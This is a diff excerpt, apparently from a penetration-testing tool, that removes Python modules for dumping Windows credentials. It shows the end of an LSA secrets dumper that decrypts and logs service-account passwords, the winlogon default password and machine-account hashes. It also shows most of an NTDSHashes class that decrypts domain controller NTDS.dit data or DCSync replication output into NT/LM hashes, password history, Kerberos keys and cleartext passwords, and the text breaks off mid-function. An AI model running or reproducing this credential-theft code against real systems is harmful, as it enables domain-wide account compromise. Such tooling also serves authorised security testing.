def __printSecret(self, name, secretItem):
|
|
||||||
# Based on [MS-LSAD] section 3.1.1.4
|
|
||||||
|
|
||||||
# First off, let's discard NULL secrets.
|
|
||||||
if len(secretItem) == 0:
|
|
||||||
logging.debug('Discarding secret %s, NULL Data' % name)
|
|
||||||
return
|
|
||||||
|
|
||||||
# We might have secrets with zero
|
|
||||||
if secretItem.startswith('\x00\x00'):
|
|
||||||
logging.debug('Discarding secret %s, all zeros' % name)
|
|
||||||
return
|
|
||||||
|
|
||||||
upperName = name.upper()
|
|
||||||
|
|
||||||
logging.info('%s ' % name)
|
|
||||||
|
|
||||||
secret = ''
|
|
||||||
|
|
||||||
if upperName.startswith('_SC_'):
|
|
||||||
# Service name, a password might be there
|
|
||||||
# Let's first try to decode the secret
|
|
||||||
try:
|
|
||||||
strDecoded = secretItem.decode('utf-16le')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
# We have to get the account the service
|
|
||||||
# runs under
|
|
||||||
if self.__isRemote is True:
|
|
||||||
account = self.__remoteOps.getServiceAccount(name[4:])
|
|
||||||
if account is None:
|
|
||||||
secret = '(Unknown User):'
|
|
||||||
else:
|
|
||||||
secret = "%s:" % account
|
|
||||||
else:
|
|
||||||
# We don't support getting this info for local targets at the moment
|
|
||||||
secret = '(Unknown User):'
|
|
||||||
secret += strDecoded
|
|
||||||
elif upperName.startswith('DEFAULTPASSWORD'):
|
|
||||||
# defaults password for winlogon
|
|
||||||
# Let's first try to decode the secret
|
|
||||||
try:
|
|
||||||
strDecoded = secretItem.decode('utf-16le')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
# We have to get the account this password is for
|
|
||||||
if self.__isRemote is True:
|
|
||||||
account = self.__remoteOps.getDefaultLoginAccount()
|
|
||||||
if account is None:
|
|
||||||
secret = '(Unknown User):'
|
|
||||||
else:
|
|
||||||
secret = "%s:" % account
|
|
||||||
else:
|
|
||||||
# We don't support getting this info for local targets at the moment
|
|
||||||
secret = '(Unknown User):'
|
|
||||||
secret += strDecoded
|
|
||||||
elif upperName.startswith('ASPNET_WP_PASSWORD'):
|
|
||||||
try:
|
|
||||||
strDecoded = secretItem.decode('utf-16le')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
secret = 'ASPNET: %s' % strDecoded
|
|
||||||
elif upperName.startswith('$MACHINE.ACC'):
|
|
||||||
# compute MD4 of the secret.. yes.. that is the nthash? :-o
|
|
||||||
md4 = MD4.new()
|
|
||||||
md4.update(secretItem)
|
|
||||||
if self.__isRemote is True:
|
|
||||||
machine, domain = self.__remoteOps.getMachineNameAndDomain()
|
|
||||||
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
|
|
||||||
else:
|
|
||||||
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
|
|
||||||
|
|
||||||
if secret != '':
|
|
||||||
self.__secretItems.append(secret)
|
|
||||||
self.__logger.highlight(secret)
|
|
||||||
else:
|
|
||||||
# Default print, hexdump
|
|
||||||
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
|
|
||||||
self.__logger.highlight('{}:{}'.format(name, hexlify(secretItem)))
|
|
||||||
#hexdump(secretItem)
|
|
||||||
|
|
||||||
def dumpSecrets(self):
|
|
||||||
if self.__securityFile is None:
|
|
||||||
# No SECURITY file provided
|
|
||||||
return
|
|
||||||
|
|
||||||
self.__logger.success('Dumping LSA Secrets')
|
|
||||||
|
|
||||||
# Let's first see if there are cached entries
|
|
||||||
keys = self.enumKey('\\Policy\\Secrets')
|
|
||||||
if keys is None:
|
|
||||||
# No entries
|
|
||||||
return
|
|
||||||
try:
|
|
||||||
# Remove unnecesary value
|
|
||||||
keys.remove('NL$Control')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if self.__LSAKey == '':
|
|
||||||
self.__getLSASecretKey()
|
|
||||||
|
|
||||||
for key in keys:
|
|
||||||
logging.debug('Looking into %s' % key)
|
|
||||||
value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
|
|
||||||
|
|
||||||
if value is not None:
|
|
||||||
if self.__vistaStyle is True:
|
|
||||||
record = LSA_SECRET(value[1])
|
|
||||||
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
|
||||||
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
||||||
record = LSA_SECRET_BLOB(plainText)
|
|
||||||
secret = record['Secret']
|
|
||||||
else:
|
|
||||||
secret = self.__decryptSecret(self.__LSAKey, value[1])
|
|
||||||
|
|
||||||
self.__printSecret(key, secret)
|
|
||||||
|
|
||||||
return self.__secretItems
|
|
||||||
|
|
||||||
def exportSecrets(self, fileName):
|
|
||||||
if len(self.__secretItems) > 0:
|
|
||||||
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
|
|
||||||
for item in self.__secretItems:
|
|
||||||
fd.write(item+'\n')
|
|
||||||
fd.close()
|
|
||||||
|
|
||||||
def exportCached(self, fileName):
|
|
||||||
if len(self.__cachedItems) > 0:
|
|
||||||
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
|
|
||||||
for item in self.__cachedItems:
|
|
||||||
fd.write(item+'\n')
|
|
||||||
fd.close()
|
|
|
@ -1,696 +0,0 @@
|
||||||
from impacket.structure import Structure
|
|
||||||
from impacket.dcerpc.v5 import drsuapi
|
|
||||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
|
||||||
from collections import OrderedDict
|
|
||||||
from impacket import ntlm
|
|
||||||
from binascii import hexlify, unhexlify
|
|
||||||
from struct import unpack
|
|
||||||
from datetime import datetime
|
|
||||||
from cme.credentials.cryptocommon import CryptoCommon
|
|
||||||
from Crypto.Cipher import DES, ARC4
|
|
||||||
from cme.credentials.commonstructs import SAMR_RPC_SID
|
|
||||||
from impacket.ese import ESENT_DB
|
|
||||||
import logging
|
|
||||||
import hashlib
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
import os
|
|
||||||
import traceback
|
|
||||||
import codecs
|
|
||||||
|
|
||||||
class NTDSHashes:
|
|
||||||
NAME_TO_INTERNAL = {
|
|
||||||
'uSNCreated':'ATTq131091',
|
|
||||||
'uSNChanged':'ATTq131192',
|
|
||||||
'name':'ATTm3',
|
|
||||||
'objectGUID':'ATTk589826',
|
|
||||||
'objectSid':'ATTr589970',
|
|
||||||
'userAccountControl':'ATTj589832',
|
|
||||||
'primaryGroupID':'ATTj589922',
|
|
||||||
'accountExpires':'ATTq589983',
|
|
||||||
'logonCount':'ATTj589993',
|
|
||||||
'sAMAccountName':'ATTm590045',
|
|
||||||
'sAMAccountType':'ATTj590126',
|
|
||||||
'lastLogonTimestamp':'ATTq589876',
|
|
||||||
'userPrincipalName':'ATTm590480',
|
|
||||||
'unicodePwd':'ATTk589914',
|
|
||||||
'dBCSPwd':'ATTk589879',
|
|
||||||
'ntPwdHistory':'ATTk589918',
|
|
||||||
'lmPwdHistory':'ATTk589984',
|
|
||||||
'pekList':'ATTk590689',
|
|
||||||
'supplementalCredentials':'ATTk589949',
|
|
||||||
'pwdLastSet':'ATTq589920',
|
|
||||||
}
|
|
||||||
|
|
||||||
NAME_TO_ATTRTYP = {
|
|
||||||
'userPrincipalName': 0x90290,
|
|
||||||
'sAMAccountName': 0x900DD,
|
|
||||||
'unicodePwd': 0x9005A,
|
|
||||||
'dBCSPwd': 0x90037,
|
|
||||||
'ntPwdHistory': 0x9005E,
|
|
||||||
'lmPwdHistory': 0x900A0,
|
|
||||||
'supplementalCredentials': 0x9007D,
|
|
||||||
'objectSid': 0x90092,
|
|
||||||
}
|
|
||||||
|
|
||||||
ATTRTYP_TO_ATTID = {
|
|
||||||
'userPrincipalName': '1.2.840.113556.1.4.656',
|
|
||||||
'sAMAccountName': '1.2.840.113556.1.4.221',
|
|
||||||
'unicodePwd': '1.2.840.113556.1.4.90',
|
|
||||||
'dBCSPwd': '1.2.840.113556.1.4.55',
|
|
||||||
'ntPwdHistory': '1.2.840.113556.1.4.94',
|
|
||||||
'lmPwdHistory': '1.2.840.113556.1.4.160',
|
|
||||||
'supplementalCredentials': '1.2.840.113556.1.4.125',
|
|
||||||
'objectSid': '1.2.840.113556.1.4.146',
|
|
||||||
'pwdLastSet': '1.2.840.113556.1.4.96',
|
|
||||||
}
|
|
||||||
|
|
||||||
KERBEROS_TYPE = {
|
|
||||||
1:'dec-cbc-crc',
|
|
||||||
3:'des-cbc-md5',
|
|
||||||
17:'aes128-cts-hmac-sha1-96',
|
|
||||||
18:'aes256-cts-hmac-sha1-96',
|
|
||||||
0xffffff74:'rc4_hmac',
|
|
||||||
}
|
|
||||||
|
|
||||||
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
|
|
||||||
|
|
||||||
SAM_NORMAL_USER_ACCOUNT = 0x30000000
|
|
||||||
SAM_MACHINE_ACCOUNT = 0x30000001
|
|
||||||
SAM_TRUST_ACCOUNT = 0x30000002
|
|
||||||
|
|
||||||
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
|
|
||||||
|
|
||||||
class PEKLIST_ENC(Structure):
|
|
||||||
structure = (
|
|
||||||
('Header','8s=""'),
|
|
||||||
('KeyMaterial','16s=""'),
|
|
||||||
('EncryptedPek',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class PEKLIST_PLAIN(Structure):
|
|
||||||
structure = (
|
|
||||||
('Header','32s=""'),
|
|
||||||
('DecryptedPek',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class PEK_KEY(Structure):
|
|
||||||
structure = (
|
|
||||||
('Header','1s=""'),
|
|
||||||
('Padding','3s=""'),
|
|
||||||
('Key','16s=""'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class CRYPTED_HASH(Structure):
|
|
||||||
structure = (
|
|
||||||
('Header','8s=""'),
|
|
||||||
('KeyMaterial','16s=""'),
|
|
||||||
('EncryptedHash','16s=""'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class CRYPTED_HISTORY(Structure):
|
|
||||||
structure = (
|
|
||||||
('Header','8s=""'),
|
|
||||||
('KeyMaterial','16s=""'),
|
|
||||||
('EncryptedHash',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
class CRYPTED_BLOB(Structure):
|
|
||||||
structure = (
|
|
||||||
('Header','8s=""'),
|
|
||||||
('KeyMaterial','16s=""'),
|
|
||||||
('EncryptedHash',':'),
|
|
||||||
)
|
|
||||||
|
|
||||||
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
|
|
||||||
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
|
|
||||||
self.__bootKey = bootKey
|
|
||||||
self.__logger = logger
|
|
||||||
self.__NTDS = ntdsFile
|
|
||||||
self.__history = history
|
|
||||||
self.__noLMHash = noLMHash
|
|
||||||
self.__useVSSMethod = useVSSMethod
|
|
||||||
self.__remoteOps = remoteOps
|
|
||||||
self.__pwdLastSet = pwdLastSet
|
|
||||||
if self.__NTDS is not None:
|
|
||||||
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
|
|
||||||
self.__cursor = self.__ESEDB.openTable('datatable')
|
|
||||||
self.__tmpUsers = list()
|
|
||||||
self.__PEK = list()
|
|
||||||
self.__cryptoCommon = CryptoCommon()
|
|
||||||
self.__kerberosKeys = OrderedDict()
|
|
||||||
self.__clearTextPwds = OrderedDict()
|
|
||||||
self.__justNTLM = justNTLM
|
|
||||||
self.__savedSessionFile = resumeSession
|
|
||||||
self.__resumeSessionFile = None
|
|
||||||
self.__outputFileName = outputFileName
|
|
||||||
|
|
||||||
def getResumeSessionFile(self):
|
|
||||||
return self.__resumeSessionFile
|
|
||||||
|
|
||||||
def __getPek(self):
|
|
||||||
logging.info('Searching for pekList, be patient')
|
|
||||||
peklist = None
|
|
||||||
while True:
|
|
||||||
record = self.__ESEDB.getNextRow(self.__cursor)
|
|
||||||
if record is None:
|
|
||||||
break
|
|
||||||
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
|
|
||||||
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
|
|
||||||
break
|
|
||||||
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
|
||||||
# Okey.. we found some users, but we're not yet ready to process them.
|
|
||||||
# Let's just store them in a temp list
|
|
||||||
self.__tmpUsers.append(record)
|
|
||||||
|
|
||||||
if peklist is not None:
|
|
||||||
encryptedPekList = self.PEKLIST_ENC(peklist)
|
|
||||||
md5 = hashlib.new('md5')
|
|
||||||
md5.update(self.__bootKey)
|
|
||||||
for i in range(1000):
|
|
||||||
md5.update(encryptedPekList['KeyMaterial'])
|
|
||||||
tmpKey = md5.digest()
|
|
||||||
rc4 = ARC4.new(tmpKey)
|
|
||||||
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
|
|
||||||
PEKLen = len(self.PEK_KEY())
|
|
||||||
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
|
|
||||||
cursor = i * PEKLen
|
|
||||||
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
|
|
||||||
logging.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
|
|
||||||
self.__PEK.append(pek['Key'])
|
|
||||||
|
|
||||||
def __removeRC4Layer(self, cryptedHash):
|
|
||||||
md5 = hashlib.new('md5')
|
|
||||||
# PEK index can be found on header of each ciphered blob (pos 8-10)
|
|
||||||
pekIndex = hexlify(cryptedHash['Header'])
|
|
||||||
md5.update(self.__PEK[int(pekIndex[8:10])])
|
|
||||||
md5.update(cryptedHash['KeyMaterial'])
|
|
||||||
tmpKey = md5.digest()
|
|
||||||
rc4 = ARC4.new(tmpKey)
|
|
||||||
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
|
|
||||||
|
|
||||||
return plainText
|
|
||||||
|
|
||||||
def __removeDESLayer(self, cryptedHash, rid):
|
|
||||||
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
|
|
||||||
|
|
||||||
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
|
||||||
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
|
||||||
|
|
||||||
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
|
|
||||||
|
|
||||||
return decryptedHash
|
|
||||||
|
|
||||||
def __fileTimeToDateTime(self, t):
|
|
||||||
t -= 116444736000000000
|
|
||||||
t /= 10000000
|
|
||||||
if t < 0:
|
|
||||||
return 'never'
|
|
||||||
else:
|
|
||||||
dt = datetime.fromtimestamp(t)
|
|
||||||
return dt.strftime("%Y-%m-%d %H:%M")
|
|
||||||
|
|
||||||
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
|
|
||||||
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
|
|
||||||
haveInfo = False
|
|
||||||
if self.__useVSSMethod is True:
|
|
||||||
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
|
|
||||||
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
|
|
||||||
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
|
||||||
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
|
||||||
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
|
||||||
else:
|
|
||||||
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
|
||||||
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
|
|
||||||
plainText = self.__removeRC4Layer(cipherText)
|
|
||||||
haveInfo = True
|
|
||||||
else:
|
|
||||||
domain = None
|
|
||||||
userName = None
|
|
||||||
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
|
||||||
try:
|
|
||||||
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
|
||||||
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
|
||||||
except Exception, e:
|
|
||||||
logging.debug('Failed to execute OidFromAttid with error %s' % e)
|
|
||||||
# Fallbacking to fixed table and hope for the best
|
|
||||||
attId = attr['attrTyp']
|
|
||||||
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
|
||||||
|
|
||||||
if attId == LOOKUP_TABLE['userPrincipalName']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
try:
|
|
||||||
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
|
||||||
except:
|
|
||||||
domain = None
|
|
||||||
else:
|
|
||||||
domain = None
|
|
||||||
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
try:
|
|
||||||
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
|
||||||
except:
|
|
||||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
userName = 'unknown'
|
|
||||||
else:
|
|
||||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
userName = 'unknown'
|
|
||||||
if attId == LOOKUP_TABLE['supplementalCredentials']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
||||||
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
|
|
||||||
if len(plainText) > 24:
|
|
||||||
haveInfo = True
|
|
||||||
if domain is not None:
|
|
||||||
userName = '%s\\%s' % (domain, userName)
|
|
||||||
|
|
||||||
if haveInfo is True:
|
|
||||||
try:
|
|
||||||
userProperties = samr.USER_PROPERTIES(plainText)
|
|
||||||
except:
|
|
||||||
# On some old w2k3 there might be user properties that don't
|
|
||||||
# match [MS-SAMR] structure, discarding them
|
|
||||||
return
|
|
||||||
propertiesData = userProperties['UserProperties']
|
|
||||||
for propertyCount in range(userProperties['PropertyCount']):
|
|
||||||
userProperty = samr.USER_PROPERTY(propertiesData)
|
|
||||||
propertiesData = propertiesData[len(userProperty):]
|
|
||||||
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
|
|
||||||
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
|
|
||||||
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
|
|
||||||
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
|
|
||||||
data = kerbStoredCredentialNew['Buffer']
|
|
||||||
for credential in range(kerbStoredCredentialNew['CredentialCount']):
|
|
||||||
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
|
|
||||||
data = data[len(keyDataNew):]
|
|
||||||
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
|
|
||||||
|
|
||||||
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
|
|
||||||
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
|
|
||||||
else:
|
|
||||||
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
|
|
||||||
# We're just storing the keys, not printing them, to make the output more readable
|
|
||||||
# This is kind of ugly... but it's what I came up with tonight to get an ordered
|
|
||||||
# set :P. Better ideas welcomed ;)
|
|
||||||
self.__kerberosKeys[answer] = None
|
|
||||||
if keysFile is not None:
|
|
||||||
self.__writeOutput(keysFile, answer + '\n')
|
|
||||||
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
|
|
||||||
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
|
|
||||||
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
|
|
||||||
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
|
|
||||||
self.__clearTextPwds[answer] = None
|
|
||||||
if clearTextFile is not None:
|
|
||||||
self.__writeOutput(clearTextFile, answer + '\n')
|
|
||||||
|
|
||||||
if clearTextFile is not None:
|
|
||||||
clearTextFile.flush()
|
|
||||||
if keysFile is not None:
|
|
||||||
keysFile.flush()
|
|
||||||
|
|
||||||
def __decryptHash(self, record, rid=None, prefixTable=None, outputFile=None):
|
|
||||||
if self.__useVSSMethod is True:
|
|
||||||
logging.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
|
|
||||||
|
|
||||||
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
|
|
||||||
rid = sid.formatCanonical().split('-')[-1]
|
|
||||||
|
|
||||||
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
|
|
||||||
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
|
|
||||||
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
|
|
||||||
LMHash = self.__removeDESLayer(tmpLMHash, rid)
|
|
||||||
else:
|
|
||||||
LMHash = ntlm.LMOWFv1('', '')
|
|
||||||
|
|
||||||
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
|
|
||||||
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
|
|
||||||
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
|
|
||||||
NTHash = self.__removeDESLayer(tmpNTHash, rid)
|
|
||||||
else:
|
|
||||||
NTHash = ntlm.NTOWFv1('', '')
|
|
||||||
|
|
||||||
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
|
||||||
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
|
||||||
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
|
||||||
else:
|
|
||||||
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
|
||||||
|
|
||||||
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
|
|
||||||
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
|
|
||||||
else:
|
|
||||||
pwdLastSet = 'N/A'
|
|
||||||
|
|
||||||
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
|
|
||||||
if outputFile is not None:
|
|
||||||
self.__writeOutput(outputFile, answer + '\n')
|
|
||||||
|
|
||||||
if self.__pwdLastSet is True:
|
|
||||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
|
||||||
self.__logger.highlight(answer)
|
|
||||||
|
|
||||||
if self.__history:
|
|
||||||
LMHistory = []
|
|
||||||
NTHistory = []
|
|
||||||
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
|
|
||||||
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
|
|
||||||
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
|
|
||||||
for i in range(0, len(tmpLMHistory) / 16):
|
|
||||||
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
|
||||||
LMHistory.append(LMHash)
|
|
||||||
|
|
||||||
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
|
|
||||||
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
|
|
||||||
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
|
|
||||||
for i in range(0, len(tmpNTHistory) / 16):
|
|
||||||
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
|
||||||
NTHistory.append(NTHash)
|
|
||||||
|
|
||||||
for i, (LMHash, NTHash) in enumerate(
|
|
||||||
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
|
||||||
if self.__noLMHash:
|
|
||||||
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
|
||||||
else:
|
|
||||||
lmhash = hexlify(LMHash)
|
|
||||||
|
|
||||||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
|
|
||||||
if outputFile is not None:
|
|
||||||
self.__writeOutput(outputFile, answer + '\n')
|
|
||||||
self.__logger.highlight(answer)
|
|
||||||
else:
|
|
||||||
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
domain = None
|
|
||||||
if self.__history:
|
|
||||||
LMHistory = []
|
|
||||||
NTHistory = []
|
|
||||||
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
|
||||||
try:
|
|
||||||
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
|
||||||
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
|
||||||
except Exception, e:
|
|
||||||
logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
|
|
||||||
# Fallbacking to fixed table and hope for the best
|
|
||||||
attId = attr['attrTyp']
|
|
||||||
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
|
||||||
|
|
||||||
if attId == LOOKUP_TABLE['dBCSPwd']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
||||||
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
|
|
||||||
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
|
|
||||||
else:
|
|
||||||
LMHash = ntlm.LMOWFv1('', '')
|
|
||||||
elif attId == LOOKUP_TABLE['unicodePwd']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
||||||
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
|
|
||||||
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
|
|
||||||
else:
|
|
||||||
NTHash = ntlm.NTOWFv1('', '')
|
|
||||||
elif attId == LOOKUP_TABLE['userPrincipalName']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
try:
|
|
||||||
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
|
||||||
except:
|
|
||||||
domain = None
|
|
||||||
else:
|
|
||||||
domain = None
|
|
||||||
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
try:
|
|
||||||
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
|
||||||
except:
|
|
||||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
userName = 'unknown'
|
|
||||||
else:
|
|
||||||
logging.error('Cannot get sAMAccountName for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
userName = 'unknown'
|
|
||||||
elif attId == LOOKUP_TABLE['objectSid']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
objectSid = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
||||||
else:
|
|
||||||
logging.error('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
objectSid = rid
|
|
||||||
elif attId == LOOKUP_TABLE['pwdLastSet']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
try:
|
|
||||||
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', ''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
|
|
||||||
except:
|
|
||||||
traceback.print_exc()
|
|
||||||
logging.error('Cannot get pwdLastSet for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
pwdLastSet = 'N/A'
|
|
||||||
|
|
||||||
if self.__history:
|
|
||||||
if attId == LOOKUP_TABLE['lmPwdHistory']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
encryptedLMHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
||||||
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
|
|
||||||
for i in range(0, len(tmpLMHistory) / 16):
|
|
||||||
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
|
||||||
LMHistory.append(LMHashHistory)
|
|
||||||
else:
|
|
||||||
logging.debug('No lmPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
elif attId == LOOKUP_TABLE['ntPwdHistory']:
|
|
||||||
if attr['AttrVal']['valCount'] > 0:
|
|
||||||
encryptedNTHistory = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
||||||
